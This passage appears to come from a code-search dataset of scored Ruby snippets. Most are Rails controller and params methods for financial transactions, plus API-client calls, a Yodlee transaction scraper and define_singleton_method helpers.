(KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36\"\n http.headers['x-app-id'] = 'angularjs'\n http.headers['x-app-version'] = \"0.0.1\"\n http.headers['x-customer-id'] = customer_id\n http.headers['x-customer-session-token'] = customer_session_token\n end\n\n json_data = ActiveSupport::Gzip.decompress(curl.body_str)\n parsed_json = JSON.parse(json_data)\n\n btc_transfer_response_status = parsed_json\n response_code = btc_transfer_response_status['response']['status']['code']\n if response_code == 0\n # puts 'Successful BTC tansfer!'\n # puts 'Transfer Details:'\n # puts btc_transfer_response_status\n else\n puts '** ERROR ** BTC Transfer Unsuccessful'\n puts 'Transfer Details:'\n puts btc_transfer_response_status\n end\n response_code\n end",
"title": ""
},
{
"docid": "1fef514105cf08c53e68ad23a4a75e09",
"score": "0.6403262",
"text": "def transactions(options = {})\n @gateway.customer.transactions(id, options)\n end",
"title": ""
},
{
"docid": "3938feb67840076454b29dc9f61393b9",
"score": "0.63976717",
"text": "def create\n @item_transaction = ItemTransaction.new(params[:item_transaction])\n\n respond_to do |format|\n if @item_transaction.save\n format.html { redirect_to @item_transaction, notice: 'Item transaction was successfully created.' }\n format.json { render json: @item_transaction, status: :created, location: @item_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d5cfe6613c9ad9bbfea0181063b99f5",
"score": "0.63959104",
"text": "def transaction_params\n params.require(:transaction).permit(:name, :date, :amount, :action)\n end",
"title": ""
},
{
"docid": "bba9da9b1b330d4ac4ecba1675f1689b",
"score": "0.63864475",
"text": "def create\n @bitcoin_transaction = BitcoinTransaction.new(bitcoin_transaction_params)\n\n respond_to do |format|\n if @bitcoin_transaction.save\n format.html { redirect_to @bitcoin_transaction, notice: 'Bitcoin transaction was successfully created.' }\n format.json { render :show, status: :created, location: @bitcoin_transaction }\n else\n format.html { render :new }\n format.json { render json: @bitcoin_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "61129fde8448537bc099ee3c0f2f9022",
"score": "0.63780165",
"text": "def create(transaction)\n $db.connection.execute(\n \"INSERT INTO pending_transactions (id, payload) VALUES (?, ?)\",\n [ transaction[\"id\"], transaction.to_json ],\n )\n end",
"title": ""
},
{
"docid": "fb330afd23aa179326634130e8c58771",
"score": "0.6375151",
"text": "def transaction_request(transaction,total=nil)\n transaction_request = Cielo::TransactionRequest.new\n resul = send_request(transaction_request.serialize(transaction))\n end",
"title": ""
},
{
"docid": "05cfc02e4590cd541150e25f32168725",
"score": "0.63718075",
"text": "def transaction_params\n params.require(:transaction).permit(:t_user1_id, :t_user2_id, :amount)\n end",
"title": ""
},
{
"docid": "c891a9c5f2e2b7c76a0cbbe047d9b160",
"score": "0.6370984",
"text": "def transaction_params\n params.require(:transaction).permit(:amount, :trans_type, :status, :trans_from_id, :trans_to_id, :start_date, :end_date, :from_account_id, :to_account_id)\n end",
"title": ""
},
{
"docid": "aee6e04a96f9d9b1ca0ac210ca82404c",
"score": "0.6368154",
"text": "def create\n @wallet_transaction = WalletTransaction.new(wallet_transaction_params)\n\n respond_to do |format|\n if @wallet_transaction.save\n format.html { redirect_to @wallet_transaction, notice: 'Wallet transaction was successfully created.' }\n format.json { render :show, status: :created, location: @wallet_transaction }\n else\n format.html { render :new }\n format.json { render json: @wallet_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa3a1f13593ff88ab0a38418bd872b1",
"score": "0.6358716",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n\n if !passed_correct_accounts?\n return render :nothing => true, :status => 400 #todo: should return something readable\n end\n\n if @transaction.save\n render json: @transaction, status: :created\n else\n render json: @transaction.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cbacd498a4cb41cd27f577edcd7d8912",
"score": "0.635553",
"text": "def create\n @transaction = Transaction.new(params[:transaction])\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(@transaction, :notice => 'Transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n format.json { render :json => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n format.json { render :json => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7adaa3707faa0a84478121eecb1fc2a9",
"score": "0.6347631",
"text": "def create\n @transaction = Transaction.new#Transaction.new(transaction_params)\n prepare_record_for_save(@transaction)\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2633130a8c6b6ebb4132a28bab14e4c9",
"score": "0.6347476",
"text": "def create\n @tx = Tx.new(tx_params)\n\n respond_to do |format|\n if @tx.save\n format.html { redirect_to @tx, notice: 'Tx was successfully created.' }\n format.json { render :show, status: :created, location: @tx }\n else\n format.html { render :new }\n format.json { render json: @tx.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85179ac8c4ccb7997adaec9e1a8be452",
"score": "0.63444906",
"text": "def index\n account = Account.find(params[:account_id].to_i)\n @transactions = account.transactions\n\n transactions_json = TransactionSerializer.new(@transactions).serialized_json\n render json: transactions_json\n end",
"title": ""
},
{
"docid": "5ca6e6951c0fc00308b05638f06b519b",
"score": "0.63392776",
"text": "def create\n @transaction = current_user.transactions.build(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n #TransactionMailer.transaction_created(Friend.find(@transaction.friend_id)).deliver\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e615602c792c84aac9f4e90a6aa1732",
"score": "0.63387114",
"text": "def transactions_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transactions_post ...'\n end\n # resource path\n local_var_path = '/api/v1/transactions'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'addrs'] = opts[:'addrs'] if !opts[:'addrs'].nil?\n query_params[:'confirmed'] = opts[:'confirmed'] if !opts[:'confirmed'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Object' \n\n # auth_names\n auth_names = opts[:auth_names] || ['csrfAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transactions_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2b8013288f171f3ef1a7029547a9e40b",
"score": "0.63375133",
"text": "def post_transactions_with_http_info(transaction_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TransactionsApi.post_transactions ...'\n end\n # verify the required parameter 'transaction_request' is set\n if @api_client.config.client_side_validation && transaction_request.nil?\n fail ArgumentError, \"Missing the required parameter 'transaction_request' when calling TransactionsApi.post_transactions\"\n end\n # resource path\n local_var_path = '/transactions'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(transaction_request)\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TransactionResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionsApi#post_transactions\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "4bf482409bd1ce029ada74d786d88e8d",
"score": "0.63346833",
"text": "def transaction_params\n params.require(:transaction).permit(:entry, :item, :amount, :currency, :transaction_method, :transacted_at, :receipt_url, :notes)\n end",
"title": ""
},
{
"docid": "47ec452a8e42c379f43b1031e231b8f4",
"score": "0.63338065",
"text": "def create\n \n @transaction = Transaction.new(account_params)\n #@account.user_id = current_user.id\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "29859a6008ed8d0a83a9147e34f76fab",
"score": "0.6325731",
"text": "def create\n @transaction = Transaction.new(transaction_params)\n @transaction.sender = current_user\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "220050359ddf4a30ab3df8724853e1d7",
"score": "0.63237536",
"text": "def create\n @transaction = Transaction.new(params[:transaction])\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to admin_transaction_path(@transaction), notice: 'Transaction was successfully created.' }\n format.json { render json: @transaction, status: :created, location: @transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1769ecd5432bfabc279b4db9a1619dcc",
"score": "0.63230765",
"text": "def transaction_params\n params.require(:transaction, :account_id).permit(:transactionNumber, :description, :amount, :status, :currentBalance, :created_at)\n end",
"title": ""
},
{
"docid": "3e6f7a81e4003889a3daa8aa608ff9d7",
"score": "0.63210255",
"text": "def transactions\n case params[:name]\n when 'missing'\n @transactions = @set.missing_transactions\n when 'overlapping'\n @transactions = @set.overlapping_transactions\n else\n @transactions = []\n end\n\n respond_to do |format|\n format.js\n format.html\n end\n end",
"title": ""
},
{
"docid": "702ed58ad1adf6208a5d416f096f0bd6",
"score": "0.63121194",
"text": "def transactions\n @transactions ||= ArkEcosystem::Client::API::Transactions.new(@client) # rubocop:disable Metrics/LineLength\n end",
"title": ""
},
{
"docid": "2f099c3f44dfd45b650045a95c0d44e2",
"score": "0.6310535",
"text": "def create\n @transaction = Transaction.new(transaction_params.merge(user_id: current_user.id))\n @transaction.groups << Group.where(id: params[:transaction][:group_ids])\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_path, notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2cb7c782a28e2dce2fcadd8b1bbe689c",
"score": "0.6282803",
"text": "def create\n @transaction = Transaction.new(transaction_params_without_amount)\n @transaction.amount = currency_string_to_number(transaction_params_amount)\n @transaction.user = current_user\n set_year_month_day(@transaction)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to transactions_path, notice: 'Transaction was successfully created.' }\n format.json { render action: 'show', status: :created, location: @transaction }\n else\n set_select_options\n format.html { render action: 'new' }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ac55aac5f637f08909f5cc18fb26593",
"score": "0.6279882",
"text": "def transaction_params\n params.require[:transactions].permit[:transaction_id, :cart_id, :subtotal, :total, :tax, :amount_given, :change]\n end",
"title": ""
},
{
"docid": "fba511a81b2cd81d403d14cd080b25ce",
"score": "0.62713265",
"text": "def create\n transaction = current_user.transactions\n # last_transaction = transaction.last\n last_saldo = transaction.last.nil? ? 0 : transaction.last.saldo\n @transaction = transaction.build(transaction_params)\n if @transaction.status\n s = @transaction.harga.nil? ? 0 : @transaction.harga\n new_saldo = last_saldo - s\n else\n r = @transaction.harga.nil? ? 0 : @transaction.harga\n new_saldo = last_saldo + r\n end\n @transaction.saldo = new_saldo\n if @transaction.save\n sweetalert_success('Your transaction successfully created.', 'Successfully created', persistent: 'Okay!') \n redirect_to user_path(current_user)\n else\n sweetalert_error('Sorry transaction unsuccessful.', 'Sorry...', persistent: 'Dismiss!') \n redirect_to user_path(current_user)\n end \n end",
"title": ""
},
{
"docid": "34588b6a35fcb8af2796796e7a4695e7",
"score": "0.6262232",
"text": "def transaction_params\n params.require(:transaction).permit(:account_id, :category_id, :occurred_at, :memo, :amount)\n end",
"title": ""
},
{
"docid": "e66f0279a22010626aa87881e5797df1",
"score": "0.62473404",
"text": "def create\n @transaction = @source.source_transactions.new(transaction_params)\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to polymorphic_path([@source, :transactions]), notice: 'Transaction was successfully created.' }\n format.json { render :show, status: :created, location: @transaction }\n else\n format.html { render :new }\n format.json { render json: @transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6126119f8ee009a4bd70b04a44300476",
"score": "0.62470824",
"text": "def transaction_params\n params.require(:transaction).permit(:merchant_id, :amount, :status)\n end",
"title": ""
},
{
"docid": "2160222ee2e71d335f654c6f8f2678bc",
"score": "0.6246962",
"text": "def transactions(acct)\n unless Object.const_defined? \"Johnson\"\n raise \"Johnson not found. Install the johnson gem, or use simple_transactions instead.\"\n end\n\n sc = @agent.cookies.detect{|c| c.name == \"JSESSIONID\"}\n\n post_headers = {\n \"callCount\" => \"1\",\n \"httpSessionId\" => sc.value,\n \"scriptSessionId\" => @script_sess,\n \"c0-scriptName\" => \"TxnService\",\n \"c0-methodName\" => \"searchTransactions\",\n \"c0-id\" => \"0\",\n \"c0-e1\" => \"number:10000004\",\n \"c0-e2\" => \"string:17CBE222A42161A3FF450E47CF4C1A00\",\n \"c0-e3\" => \"null:null\",\n \"c0-e5\" => \"string:MM%2Fdd%2Fyyyy\",\n \"c0-e6\" => \"string:USD\",\n \"c0-e7\" => \"string:PST\",\n \"c0-e8\" => \"string:.\",\n \"c0-e9\" => \"string:%2C\",\n \"c0-e10\" => \"string:%23%23%23%2C%23%230.%23%23\",\n \"c0-e4\" => \"Object_Object:{dateFormat:reference:c0-e5, currencyCode:reference:c0-e6, timeZone:reference:c0-e7, decimalSeparator:reference:c0-e8, groupingSeparator:reference:c0-e9, groupPattern:reference:c0-e10}\",\n \"c0-e11\" => \"number:1\",\n \"c0-e12\" => \"boolean:false\",\n \"c0-param0\" => \"Object_Object:{cobrandId:reference:c0-e1, applicationId:reference:c0-e2, csit:reference:c0-e3, iBean:reference:c0-e4, loggingLevel:reference:c0-e11, loggingEnabled:reference:c0-e12}\",\n \"c0-e13\" => \"string:#{acct.id}\",\n \"c0-e14\" => \"string:-1\",\n \"c0-e15\" => \"null:null\",\n \"c0-e16\" => \"string:-1\",\n \"c0-e17\" => \"null:null\",\n \"c0-e18\" => \"null:null\",\n \"c0-e19\" => \"null:null\",\n \"c0-e20\" => \"string:-1\",\n \"c0-e21\" => \"null:null\",\n \"c0-e22\" => \"number:-1\",\n \"c0-e23\" => \"number:-1\",\n \"c0-e24\" => \"boolean:false\",\n \"c0-e25\" => \"string:\",\n \"c0-e26\" => \"boolean:false\",\n \"c0-e27\" => \"string:\",\n \"c0-e28\" => \"string:\",\n \"c0-e29\" => \"string:\",\n \"c0-e30\" => \"string:\",\n \"c0-e31\" => \"string:\",\n \"c0-e32\" => \"boolean:false\",\n \"c0-e33\" => \"string:0.0\",\n \"c0-e34\" => \"string:0\",\n \"c0-e35\" => \"null:null\",\n \"c0-e36\" => \"null:null\",\n \"c0-e37\" => \"string:allTransactions\",\n \"c0-e38\" => \"string:InProgressAndCleared\",\n \"c0-e39\" => \"number:999\",\n \"c0-e40\" => \"string:\",\n \"c0-e41\" => \"null:null\",\n \"c0-e42\" => \"null:null\",\n \"c0-e43\" => \"string:\",\n \"c0-e44\" => \"null:null\",\n \"c0-e45\" => \"string:ALL\",\n \"c0-e46\" => \"string:false\",\n \"c0-e47\" => \"null:null\",\n \"c0-e48\" => \"string:0.0\",\n \"c0-e49\" => \"string:0.0\",\n \"c0-e50\" => \"string:ALL\",\n \"c0-param1\" => \"Object_Object:{itemAccountId:reference:c0-e13, categoryId:reference:c0-e14, categoryLevelId:reference:c0-e15, dateRangeId:reference:c0-e16, fromDate:reference:c0-e17, toDate:reference:c0-e18, groupBy:reference:c0-e19, groupAccountId:reference:c0-e20, filterTranasctions:reference:c0-e21, transactionTypeId:reference:c0-e22, transactionStatusId:reference:c0-e23, ignorePendingTransactions:reference:c0-e24, includeBusinessExpense:reference:c0-e25, includeTransfer:reference:c0-e26, includeReimbursableExpense:reference:c0-e27, fromDate1:reference:c0-e28, toDate1:reference:c0-e29, includeMedicalExpense:reference:c0-e30, includeTaxDeductible:reference:c0-e31, includePersonalExpense:reference:c0-e32, transactionAmount:reference:c0-e33, transactionAmountRange:reference:c0-e34, billStatementRange:reference:c0-e35, criteria:reference:c0-e36, module:reference:c0-e37, transactionType:reference:c0-e38, pageSize:reference:c0-e39, sharedMemId:reference:c0-e40, overRideDateRangeId:reference:c0-e41, overRideContainer:reference:c0-e42, searchString:reference:c0-e43, pageId:reference:c0-e44, splitTypeTransaction:reference:c0-e45, isAvailableBalance:reference:c0-e46, categoryIds:reference:c0-e47, currentBalance:reference:c0-e48, availableBalance:reference:c0-e49, container:reference:c0-e50}\",\n \"c0-param2\" => \"boolean:true\",\n \"batchId\" => \"3\"\n }\n\n page = @agent.post(\n 'https://moneycenter.yodlee.com/moneycenter/dwr/call/plaincall/TxnService.searchTransactions.dwr',\n post_headers\n )\n\n j = Johnson::Runtime.new\n\n script = page.body\n\n # Remove the last line (a call to DWREngine), and execute\n script = script.strip.sub(/\\n[^\\n]+\\Z/m, '')\n\n # Remove a leading throw statement.\n script = script.sub(/\\A.*?\\n+/, '')\n\n j.evaluate script\n\n if x = j['s5']\n transactions = x.map do |e|\n transaction = Yodlee::Transaction.new\n transaction.account_name = e.accountName\n transaction.currency = e.amount.cobCurrencyCode\n transaction.amount = e.amount.cobPreciseAmount\n transaction.description = e.description\n transaction.account_id = e.itemAccountId\n transaction.fit_id = e.transactionId\n transaction.status = e['type']['type']\n\n # Re-parse in order to get a real Time, not a Johnson::SpiderMonkey::RubyLandProxy.\n transaction.date = Time.parse(e.date.to_s)\n transaction\n end\n\n return transactions\n end\n\n return []\n end",
"title": ""
},
{
"docid": "72b8cd9d08c2d80b76d9abed8d9658f0",
"score": "0.6244879",
"text": "def transaction_params\n params.require(:transaction).permit(:transaction_id, :purchased_by, :date, :property_id, :price, :transaction_type)\n end",
"title": ""
},
{
"docid": "ba3ad15bd8b6cd9762803d03a2b2dec7",
"score": "0.6241349",
"text": "def transactions(count = 10)\n @client.transactions(name, count)\n end",
"title": ""
},
{
"docid": "e5661789f45e50460fef0cd9800bc77c",
"score": "0.62382925",
"text": "def my_transactions\n @transactions = Transaction.find_all_by_user_id(current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transactions }\n end\n end",
"title": ""
},
{
"docid": "74368b88b2137ca5c425e68b148788a5",
"score": "0.62373567",
"text": "def transaction_params\n params.require(:transaction).permit(:t_name, :description, :t_type, :t_amount, :account_id)\n end",
"title": ""
},
{
"docid": "5131fed644f5cc18f9a43e3246a51cef",
"score": "0.623487",
"text": "def transaction_params\n params.require(:transaction).permit(:description, :total, :points_awarded)\n end",
"title": ""
},
{
"docid": "025ab628fd0d9eea20b4f92a7e706d9c",
"score": "0.6221843",
"text": "def create\n @recurrent_transaction = RecurrentTransaction.new(recurrent_transaction_params)\n\n respond_to do |format|\n if @recurrent_transaction.save\n format.html { redirect_to @recurrent_transaction, notice: 'Recurrent transaction was successfully created.' }\n format.json { render :show, status: :created, location: @recurrent_transaction }\n else\n format.html { render :new }\n format.json { render json: @recurrent_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aee8681e3dd6a84c20c756f82655bd1b",
"score": "0.6218009",
"text": "def create\n @client_transaction = ClientTransaction.new(params[:client_transaction])\n\n respond_to do |format|\n if @client_transaction.save\n format.html { redirect_to @client_transaction, notice: 'Client transaction was successfully created.' }\n format.json { render json: @client_transaction, status: :created, location: @client_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ed4c1e91db869e5f071efecdde2a8e10",
"score": "0.62098825",
"text": "def create\n @stats_money_transaction = Stats::MoneyTransaction.new(params[:stats_money_transaction])\n\n respond_to do |format|\n if @stats_money_transaction.save\n format.html { redirect_to @stats_money_transaction, notice: 'Money transaction was successfully created.' }\n format.json { render json: @stats_money_transaction, status: :created, location: @stats_money_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stats_money_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c324f6c8bbd37cbf2652149cdb61c7e5",
"score": "0.62078995",
"text": "def transaction_params\n params.require(:transaction).permit(:payee, :notes, :txn_type, :occurs, :amount)\n end",
"title": ""
},
{
"docid": "e6c0a23c2c7bda80943d026810a0c453",
"score": "0.6204711",
"text": "def transaction_params\n params.require(:transaction).permit(:accounts_id, :valor, :tipo, :usuario_id,:recipient)\n end",
"title": ""
},
{
"docid": "a392516a8e4c6f40a8353a249192c27c",
"score": "0.6195229",
"text": "def transaction_params\n params.require(:transaction).permit(:trans_type, :details, :particulars, :code, :reference, :amount, :date, :category_id)\n end",
"title": ""
}
] |
9e51894ac82083bd4e9ca2379a0ec54b
|
define_singleton_configuration_definition_method Define a configuration definition method.
|
[
{
"docid": "db1c4d50afeb7a5a2dad9f38c7bd7d1e",
"score": "0.7233486",
"text": "def define_singleton_configuration_definition_method( ccm_method_name )\n \n ccm = self\n \n #==================================#\n # attr_singleton_ccm_method_name #\n # attr_module_ccm_method_name #\n # attr_class_ccm_method_name #\n #==================================#\n \n define_method( ccm_method_name ) do |*args, & block|\n\n configurations, parsed_args = ccm.parse_configuration_descriptors( self, *args, & block )\n\n configurations.each do |this_accessor, this_write_accessor|\n ccm.define_singleton_configuration( self, this_accessor, this_write_accessor, *parsed_args, & block )\n end\n \n return self\n \n end\n\n return self\n \n end",
"title": ""
}
] |
[
{
"docid": "88839f325508ce962f2ba9f8bb281c11",
"score": "0.74581784",
"text": "def idempotently_define_singleton_method(name, &definition); end",
"title": ""
},
{
"docid": "c7e10550511a1f56f1c4ffb629064ee2",
"score": "0.65622264",
"text": "def define_singleton_method(method_name, content = Proc.new)\n (class << self; self; end).class_eval do\n undef_method(method_name) if method_defined?(method_name)\n if String === content\n class_eval(\"def #{method_name}() #{content}; end\")\n else\n define_method(method_name, &content)\n end\n end\n end",
"title": ""
},
{
"docid": "c770471dccae1c1f6655373067f32abe",
"score": "0.6513391",
"text": "def singleton_def name, &blk\n singleton_eval { define_method name, &blk }\n end",
"title": ""
},
{
"docid": "f967c139c6c582c5f99d3ee49161b0ac",
"score": "0.6503287",
"text": "def define_singleton_method(method_name, content=Proc.new)\n (class << self; self; end).class_eval do\n undef_method(method_name) if method_defined?(method_name)\n if String === content\n class_eval(\"def #{method_name}() #{content}; end\")\n else\n define_method(method_name, &content)\n end\n end\n end",
"title": ""
},
{
"docid": "f967c139c6c582c5f99d3ee49161b0ac",
"score": "0.6503287",
"text": "def define_singleton_method(method_name, content=Proc.new)\n (class << self; self; end).class_eval do\n undef_method(method_name) if method_defined?(method_name)\n if String === content\n class_eval(\"def #{method_name}() #{content}; end\")\n else\n define_method(method_name, &content)\n end\n end\n end",
"title": ""
},
{
"docid": "9e17558f99bd1985bea9a2eabedfd8ec",
"score": "0.6447457",
"text": "def singleton_def name, &block\n singleton_eval { define_method name, &block }\n end",
"title": ""
},
{
"docid": "0674cbca58f3e85760810f344a8a6b2b",
"score": "0.6438118",
"text": "def define_config_method(symbol, ali=nil)\n class_eval <<-CODE\n class << self # class << self\n def #{symbol}(*args, &block) # def port(*args, &block)\n config.#{symbol}(*args, &block) # config.port(*args, &block)\n end # end\n alias #{symbol}= #{symbol} # alias port= port\n #{\"alias #{ali} #{symbol}\" if ali} # alias inferred_port port\n #{\"alias #{ali}= #{symbol}\" if ali} # alias inferred_port= port\n end # end\n\n def #{symbol}(*args, &block) # def port(*args, &block)\n config.#{symbol}(*args, &block) # config.port(*args, &block)\n end # end\n alias #{symbol}= #{symbol} # alias port= port\n #{\"alias #{ali} #{symbol}\" if ali} # alias inferred_port port\n #{\"alias #{ali}= #{symbol}\" if ali} # alias inferred_port= port\n CODE\n end",
"title": ""
},
{
"docid": "d89d04711c99944d87e03fa909b9745f",
"score": "0.6432447",
"text": "def define_instance_configuration_definition_method( ccm_method_name )\n \n ccm = self\n \n #=================================#\n # attr_instance_ccm_method_name #\n #=================================#\n \n define_method( ccm_method_name ) do |*args, & block|\n \n configurations, parsed_args = ccm.parse_configuration_descriptors( self, *args, & block )\n\n configurations.each do |this_accessor, this_write_accessor|\n ccm.define_instance_configuration( self, this_accessor, this_write_accessor, *parsed_args, & block )\n end\n \n return self\n \n end\n\n return self\n \n end",
"title": ""
},
{
"docid": "221edee612fcc18b702c715eff3336d6",
"score": "0.6432264",
"text": "def define_singleton_definition_method( module_type_name, *module_type_name_aliases )\n \n ccm_method_name = singleton_method_name( module_type_name )\n \n define_singleton_configuration_definition_method( ccm_method_name )\n\n alias_method( class_method_name( module_type_name ), ccm_method_name )\n alias_method( module_method_name( module_type_name ), ccm_method_name )\n module_type_name_aliases.each do |this_alias|\n alias_method( singleton_method_name( this_alias ), ccm_method_name )\n alias_method( module_method_name( this_alias ), ccm_method_name )\n alias_method( class_method_name( this_alias ), ccm_method_name )\n end\n \n return self\n \n end",
"title": ""
},
{
"docid": "8e205af6f6d0f807c864644639218ad1",
"score": "0.6318872",
"text": "def define_singleton_method(name, content = Proc.new)\n (class << self; self; end).class_eval do\n undef_method(name) if method_defined? name\n String === content ? class_eval(\"def #{name}() #{content}; end\") : define_method(name, &content)\n end\n end",
"title": ""
},
{
"docid": "51cb1711112cfda9110a5ffa2729e5a8",
"score": "0.630191",
"text": "def define_singleton_method(name, content = Proc.new)\n # replace with call to singleton_class once we're 1.9 only\n (class << self; self; end).class_eval do\n undef_method(name) if method_defined? name\n String === content ? class_eval(\"def #{name}() #{content}; end\") : define_method(name, &content)\n end\n end",
"title": ""
},
{
"docid": "ce3d76128284c6c59e516f0f8b046eb0",
"score": "0.6216517",
"text": "def define_singleton(name, content = Proc.new)\n singleton_class.class_eval do\n undef_method(name) if method_defined? name\n String === content ? class_eval(\"def #{name}() #{content}; end\") : define_method(name, &content)\n end\n end",
"title": ""
},
{
"docid": "11e967fd9f88ec983d4b923dd7a3120a",
"score": "0.61792254",
"text": "def define_singleton_method(name, &body)\n (class << self ; self ; end).send(:define_method, name, &body)\n end",
"title": ""
},
{
"docid": "dd3394a1efb611a9bf0766b0fc097860",
"score": "0.6174463",
"text": "def define_singleton(name, content = Proc.new)\n # replace with call to singleton_class once we're 1.9 only\n (class << self; self; end).class_eval do\n undef_method(name) if method_defined? name\n String === content ? class_eval(\"def #{name}() #{content}; end\") : define_method(name, &content)\n end\n end",
"title": ""
},
{
"docid": "1bf96f1663dd078587144c2ccb266671",
"score": "0.6116695",
"text": "def __install_configuration_methods__\n @__methods__.each do |meth, block|\n __test_reserved!(meth)\n __define_singleton_method__(meth, &block) if block.is_a?(::Proc)\n end\n end",
"title": ""
},
{
"docid": "d96bd1fb57165ed0176b543d5c495709",
"score": "0.59039193",
"text": "def define_cascading_configuration_definition_method( ccm_method_name )\n \n ccm = self\n \n #========================#\n # attr_ccm_method_name #\n #========================#\n \n define_method( ccm_method_name ) do |*args, & block|\n \n configurations, parsed_args = ccm.parse_configuration_descriptors( self, *args, & block )\n\n configurations.each do |this_accessor, this_write_accessor|\n ccm.define_singleton_configuration( self, this_accessor, this_write_accessor, *parsed_args, & block )\n ccm.define_instance_configuration( self, this_accessor, this_write_accessor, *parsed_args, & block )\n end\n \n return self\n \n end\n\n return self\n \n end",
"title": ""
},
{
"docid": "0149b4c3450d7d0418f7b4b93423a505",
"score": "0.5885158",
"text": "def define_ch_config_method(ch)\n klass_name = ch.to_s.split('_').map(&:capitalize).join\n method_proc = -> { self.class.const_get(klass_name).config }\n self.class.send(:define_method, ch, method_proc)\n end",
"title": ""
},
{
"docid": "baf2725f5d94a481f28df821eba13f55",
"score": "0.5873275",
